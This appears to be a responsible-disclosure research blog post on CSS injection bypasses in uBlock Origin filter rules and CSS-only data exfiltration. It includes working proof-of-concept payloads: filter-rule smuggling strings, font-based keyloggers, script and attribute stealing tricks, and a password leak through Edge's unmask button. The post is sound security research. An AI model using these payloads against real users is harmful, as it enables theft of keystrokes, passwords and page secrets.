uBlock, I exfiltrate: exploiting ad blockers with CSS

Image showing code being extracted from a vacuum cleaner

Ad blockers like uBlock Origin are extremely popular, and typically have access to every page a user visits. Behind the scenes, they're powered by community-provided filter lists - CSS selectors that dictate which elements to block. These lists are not entirely trusted, so they're constrained to prevent malicious rules from stealing user data.

In this post, we'll show you how we were able to bypass these restrictions in uBlock Origin, use a novel CSS-based exploitation technique to extract data from scripts and attributes, and even steal passwords from Microsoft Edge.  All vulnerabilities discussed in this post have been reported to uBlock Origin and patched.

Please note that these techniques assume a malicious rule has been installed. We did find a technique to encourage malicious rule installation, but believe that the most plausible attack vector is a compromised filter list. Due to ethical (not to mention legal) concerns, we opted not explore this vector.

A while ago one of my heroes, Tavis Ormandy mentioned on Twitter that uBlock Origin was vulnerable to CSS injection in their filter rules. I had a quick look at his injection vector and indeed I was able to control more or less the full CSS of the injected filter rule:

example.com##div:style(--foo: 1/*)
example.com##div[bar="*/;background-image: url(https://google.com);}/*"]

This was quickly patched but I managed to find a bypass that worked in the latest uBlock Origin version:

##input,input/*
##input[x="*/{}*{background-color:red;}"]

After reporting this, I was informed by the developer Raymond Hill that uBlock Origin also has cosmetic filters that allow more powerful CSS selectors they even let you define your own CSS rules but are restricted (limiting the use of URL requests), so I thought this would be a good place to look for another bypass. In this context cosmetic filters seem to use a different code path than normal filters. You can't use backslashes inside rules for instance. However, you can use an opening comment inside the selector and again use two rules to smuggle unrestricted CSS:

*#$#* /* { font-family: ' background-color:red;'; }
*#$#* /*/ {background:url(/abc)} */ { font-family: ' background-color:red;'; }

This works because document.querySelector tolerates malformed selectors:

document.querySelector('input[class');
document.querySelector('*/*');
document.querySelector('[class/*]')
document.querySelector('[class/*<>{}]')
document.querySelector('[class/*<>{}*/]')

uBlock Origin was using this function to validate the selector. They fixed the comment bypass by looking for opening comments so I spent some time with my CSS fuzzer to understand deeply what syntax is allowed in CSS. I discovered some interesting behavior: inside a selector you can use curly braces. They also have to have an open and closing brace - because if they don't, then a semicolon will not start a new rule:

<style>
div {
  blah{font-family:blah;color:red;
}
</style>
<div>This is not red</div>

I found this behavior by running my fuzzer in reverse e.g. finding which characters do not allow semicolons to create a new rule. For instance using the fuzz vector $chr;background:url(red.png);} highlighted curly braces as well as other characters. I then manually verified you could use curly braces inside the selector:

<style>
div {
  blah{font-family:blah};color:red;
}
</style>
<div>This should be red</div>

Using this knowledge I could bypass the patch using a vector that doesn't use comments:

*#$#* {background:url(/abc);x{  background-color: red;}

After that was patched I began to look for ways to make background requests. Fuzzing various properties and trying various techniques I was unable to use the url() to make requests. So instead I started to look for alternative CSS functions. I found a function called image-set(), this function allows you to make requests with a CSS string on Firefox and this works perfectly in uBlock Origin:

*#$#* { font-family: 'blah'; background:image-set('https://hackvertor.co.uk/images/logo.gif' 1x) }

There is an alias called -webkit-image-set() which allows strings as URLs on Firefox. Chrome has the function too but you must use it in combination with the url() function.

Exfiltrating with CSS

If I could compromise a filter list then I would have control over the CSS on every web site when using uBlock Origin but what could I do? Most research on CSS exploitation has focused on attribute-based selector attacks - because they make it quite easy to steal passwords in inputs. David, Eduardo and I covered it in our CSS The Sexy Assassin talk back in 2008! Stefano di Paola and Alex K. also had the same idea. There has also been some excellent follow-up research from Pepe Vila, Mario Heiderich et al, d0nut and Michał Bentkowski covering all sorts of CSS exfiltration techniques. But there are limitations: you can only read attribute values, so you usually can't steal keystrokes. I began to think about what CSS I could inject to steal content from the page.

So I decided to focus on custom fonts to see what was possible. Custom fonts are great because you can choose the characters they get assigned to. This allows you to steal those characters when a request is made for the font. The Unicode range property allows you to select which characters the font should apply to:

unicode-range: U+0061;

In this example the font will be loaded if the element contains a lowercase "a". The trouble is that you can't get repeated characters, and the font request is made for the entire content - not specific parts of the element's text node.

First, let's make a custom font keylogger in CSS. This is a well known technique but we first need to understand how stealing keystrokes in CSS works and this is a great starting point.

<link href="steal-lowercase.css" rel="stylesheet" />
<link href="styles.css" rel="stylesheet" />
<input>

steal-lowercase.css:
@font-face {
  src: url("/a");
  unicode-range: U+0061;
  font-family: steal;
}


styles.css:
input {
  font-family: steal;
}

CSS keylogger PoC

This creates a basic keylogger - the @font-face rule defines our custom font, and makes a request to /a when the character is a lowercase "a" - with a font-family of steal. This is then repeated for the other characters. Styles.css simply assigns the font-family to steal - which uses our custom font. The result is that when a victim types into the input, a request is made for every character you type (excluding repeated characters). But if you change the input into a password field, the attack will fail. This is because the characters get masked and therefore the custom font isn't loaded - as the masked characters don't correspond to the unicode range defined in the font.

This is true on all browsers, except when you unmask the characters in Edge by clicking on the eye icon in the input. In this case, the font is loaded and the characters stolen!

Screenshot showing Edge sending keystrokes when unmasking

An interesting thing about loading fonts on Firefox compared to Chrome, is that Firefox loads them synchronously, where Chrome is asynchronous. This has the advantage of leaking the characters in the correct order in Firefox.

One thing I discovered is that you can make scripts display their contents when using display:block. I later found out that Pepe Vila had the same idea. This means we can steal the contents of a script by assigning a font:

<link href="steal-lowercase.css" rel="stylesheet" />
<style>
script {
  display: block;
  font-family: steal;
}
</style>
<script>
let password = 'supersecret';
</script>

Stealing script contents PoC

This is great but has a limitation: it will try to steal the contents of the entire script and any repeated characters will not be loaded. What we are interested in is "supersecret" - is there any way to just steal that?

I looked at ::first-letter selector - which (as the name suggests), allows you to control the first letter of the text node. This works for fonts so you can steal the first letter on Chrome, but it doesn't let you steal the other characters, doesn't work in conjunction with the :not selector, and doesn't seem to work on Firefox:

<link href="steal-uppercase.css" rel="stylesheet" />
<style>
script {
  display: block;
  text-transform: lowercase;
}
script::first-letter {
  font-family: steal;
  text-transform: uppercase;
}
</style>
<script>
abc
</script>

I then looked at the ::first-line selector. This selector is interesting as it allows you to select part of the text. If I could somehow force the text onto separate lines then maybe I could steal a specific part of it. The ch unit allows you to specify the width of a single zero character in the chosen font. I suspect zero is used because it's more likely to be available in many different fonts. This would allow you to break apart letters and force them onto the next line.

My first attempt was to change the font inside the selector, assign a width, and force it to break all the words apart. This worked in an older version of Safari but not in Chrome or Firefox:

<link href="steal-uppercase.css" rel="stylesheet" />
<style>
div {
  width: 8ch;
  word-wrap: break-word;
  word-break: break-all;
  overflow-wrap: break-word;
  text-transform: uppercase;
}

div::first-line {
  font-family: steal;
  background-color: green;
}
</style>
<div>
tester blah
</div>

Stealing first line on Safari PoC

It doesn't work in Chrome or Firefox because ::first-line only supports a limited amount of CSS and when a font is assigned the whole content is assigned the font not the ::first-line selector. How could I make it work in Firefox? I thought about this for a while - and although now it seems obvious, at the time it wasn't! How about reversing the operation and using ::first-line as a mask? We could then use the width to define a mask of characters we didn't want to include! This means we could steal a substring of characters to the length of the required string. This works perfectly on Firefox and retains the order of the characters too:

<link href="steal-lowercase.css" rel="stylesheet" />
<style>
div {
  width: 7ch;
  word-wrap: break-word;
  word-break: break-all;
  overflow-wrap: break-word;
  text-transform: lowercase;
  font-family: steal;
}

div::first-line {
  background-color: green;
  text-transform: uppercase;
}
</style>
<div>some secret text</div>

Screenshot showing technique to extract certain parts of the text

Stealing n characters on Firefox PoC

The above example will exclude the text "some" and steal the characters after excluding repeated characters. Pretty cool eh? How about the characters at the end though; we can't steal those if they are repeated characters. Well, we can use CSS animations and animate the mask to steal the contents backwards on Firefox!

We use the same template as previously but update the styles to include an animation:

div {
  width: 20ch;
  word-wrap: break-word;
  word-break: break-all;
  overflow-wrap: break-word;
  text-transform: lowercase;
  font-family: steal;
  animation-name: steal-reversed;
  animation-iteration-count: 1;
  animation-fill-mode: forwards;
  animation-duration: 5s;
}

div::first-line {
  background-color: green;
  text-transform: uppercase;
}

@keyframes steal-reversed {
  from {
    width:20ch;
  }
  to {
    width: 1ch;
  }
}

So the mask starts at 20ch, we break the words as before. The animation fill mode ensures it only plays and stops at the end - and the animation-iteration-count ensures that it only plays once. The result is the characters are stolen backwards.

Screenshot showing extracting characters in reverse on Firefox

Stealing characters reversed on Firefox PoC

Moving on from ::first-line, I started to look at the attr() function in CSS. Unfortunately inputs will not allow pseudo elements, so :before and :after will not work - which means that you can't use attr() to extract attributes and assign them using content. There is one exception to this: checkboxes. If you have a checkbox/radio with a sensitive attribute, then you can extract it using attr() and assign a font to steal the contents on Chrome:

<link href="steal-uppercase.css" rel="stylesheet" />
<style>
input {
  font-family: steal;
}

input:after {
  content: attr(value);
  background-color: green;
  text-transform: uppercase;
}
</style>
<label><input type=checkbox value="supersecret"></label>

Stealing attributes in checkboxes PoC

JavaScript URL injection

Finally, I spent some time trying to exploit uBlock Origin to try and get a filter list automatically installed. I looked at how a user can add a filter list from a webpage and I noticed that uBlock has an allow list of domains that enable you to open the add filter dialog in the extension. One of those allow listed domains is GitHub.com, so you can use the following link on Github to open the add filter dialog:

https://subscribe.adblockplus.org/?location=https://my-website/filter.txt&title=EasyList

The domain "subscribe.adblockplus.org" doesn't actually exist but uBlock Origin uses it to add the filter. It was possible to inject a JavaScript URL, fortunately for them the extension's CSP prevented exploitation. Nevertheless, uBlock Origin fixed the JavaScript injection vulnerability too.

So if you could convince a user to add your filter - or maybe do a pull request for one of the existing filters with an injection - then you could use the techniques in this post to steal data. Another approach would be to compromise a site hosting filters, perhaps using web cache poisoning or HTTP request smuggling. Needless to say, we didn't attempt any of this.

Conclusion

uBlock Origin provides powerful filters to control which elements are allowed on a page. They can prevent malicious adverts from exploiting your computer. However - if they are vulnerable to CSS injection, and a user loads a malicious filter, then it's possible to exfiltrate data from any web page using pure CSS. Ultimately, CSS-based injection attacks can have a similar impact to XSS when an affected page contains sensitive information that can be extracted.

Materials

All the attacks mentioned above can be downloaded from our Git repository.

Disclosure

uBlock Origin does not provide a security contact or email address to report vulnerabilities to. Therefore this was disclosed via their public GitHub issues.

2021-08-25 05:16 - Tavis reported his bug
2021-08-25 15:09 - uBlock Origin patched Tavis' bug
2021-11-03 11:51 - I reported my bypass to uBlock Origin
2021-11-03 12:52 - uBlock Origin patched my bypass on master
2021-11-04 11:01 - Reported JavaScript URL injection vulnerability
2021-11-05 20:16 - uBlock Origin patched JavaScript URL injection vulnerability
2021-11-08 13:25 - Reported bug in cosmetic filter
2021-11-08 14:19 - uBlock Origin patched my cosmetic bypass
2021-11-08 15:35 - I bypassed the patch without using comments
2021-11-08 16:18 - uBlock Origin patched the cosmetic filter bypass
2021-11-11 10:20 - Reported bug where image-set() was allowed in Firefox
2021-11-11 20:21 - uBlock Origin patched image-set() vulnerability
2021-11-22 14:30 - uBlock stable released
2021-11-22 - Firefox version updated
2021-12-03 - Chrome version updated
2021-12-06 - Post published

Back to all articles

Related Research